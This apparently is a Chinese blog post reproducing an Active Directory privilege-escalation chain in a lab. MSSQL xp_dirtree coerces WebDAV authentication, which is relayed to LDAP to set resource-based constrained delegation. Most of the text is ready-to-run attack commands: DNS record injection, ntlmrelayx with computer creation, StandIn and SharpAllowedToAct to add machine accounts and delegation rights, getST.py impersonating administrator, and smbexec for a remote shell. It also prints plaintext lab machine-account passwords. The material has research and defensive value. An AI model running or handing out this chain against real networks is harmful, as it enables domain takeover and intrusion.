MSSQL结合RBCD提权

MSSQL结合RBCD提权

原理

这里使用中继的方式给他中继到ldap中去添加msDS-AllowedToActOnBehalfOfOtherIdentity属性。默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。而在mssql当前是nt service权限所以用的是机器账户去做认证,机器账户是可以创建机器账户的。

img

img

限制

需要开启webclient服务

完全限定名(FQDN)这个可以添加dns记录来实现

中继的攻击思路

img

xp_dirtree

xp_dirtree使用以下方式进行请求是通过 UNC 的触发方式同样可以对 WebDAV 进行认证,WebDAV请求去中继是不会有NTLM签名限制问题的。具体可以参考https://en.hackndo.com/ntlm-relay/

xp_dirtree '\\hostname@SSL\test' --ssl 443
xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234
xp_dirtree '\\hostname@1234\test' --http

复现

sc query webclient

查询webclient是否开启

img

Invoke-DNSUpdate -DNSType A -DNSName unicodesec -DNSData 192.168.92.151
python3 ntlmrelayx.py -t ldap://172.16.108.165 -smb2support --delegate-access --add-computer -debug

也可以使用

execute-assembly /Users/giaogiao/Desktop/tools/Tools/内网/StandIn_v13_Net35_45/StandIn_v13_Net45.exe  --computer DESKTOP-JSMITH --make

在当前权限下添加一个DESKTOP-JSMITH的机器账户

exec master.dbo.xp_dirtree '\\evil@80\test' 

img

触发webdav请求

img

img

img

下面就是拿创建的机器账户获取高权限票据,和资源委派的步骤一样

python3 getST.py -spn cifs/DESKTOP-0ND3PBE.kdc.com 'kdc.com/LLGSQUWS$:V)iU_pwJ)(tEr!l' -impersonate administrator -dc-ip 172.16.108.165
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass DESKTOP-0ND3PBE.kdc.com -target-ip 172.16.108.164 -debug

img

烂番茄(Rotten Tomato)

img

execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe  --computer DESKTOP-JSMITH --make

使用当前权限添加机器账户

img

execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe  --computer DESKTOP-0ND3PBE --sid S-1-5-21-879933513-2804727210-1548949402-1603

添加msDS-AllowedToActOnBehalfOfOtherIdentity这个属性

--computer 为需要提权的用户

--sid 是添加的机器用户的sid

img

img

img

接下来使用该机器账户申请高权限票据

python3 getST.py -spn cifs/DESKTOP-0ND3PBE.kdc.com 'kdc.com/DESKTOP-JSMITH$:e5YnDP1kSLpgkje' -impersonate administrator -dc-ip 172.16.108.165

export KRB5CCNAME=administrator.ccache

python3 smbexec.py -k -no-pass DESKTOP-0ND3PBE.kdc.com -target-ip 172.16.108.164 -debug

img

SharpAllowedToAct

也可以使用SharpAllowedToAct进行添加,需要使用原版的

https://github.com/pkb1s/SharpAllowedToAct/

execute-assembly /Users/nice0e3/Downloads/SharpAllowedToAct-Modify-main/SharpAllowedToAct/SharpAllowedToAct.exe -m giaogiao -p e5YnDP1kSLpgkje -t DESKTOP-0ND3PBE -a dc.kdc.com -d kdc.com

添加一个giaogiao的机器用户,并且设置msDS-AllowedToActOnBehalfOfOtherIdentity属性

img

删除msDS-AllowedToActOnBehalfOfOtherIdentity属性

execute-assembly /Users/nice0e3/Downloads/StandIn_v13_Net35_45/StandIn_v13_Net35.exe  --computer DESKTOP-0ND3PBE --remove

img

参考

https://www.freebuf.com/articles/database/278397.html
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/

posted @ 2023-01-10 20:17  nice_0e3  阅读(818)  评论(1编辑  收藏  举报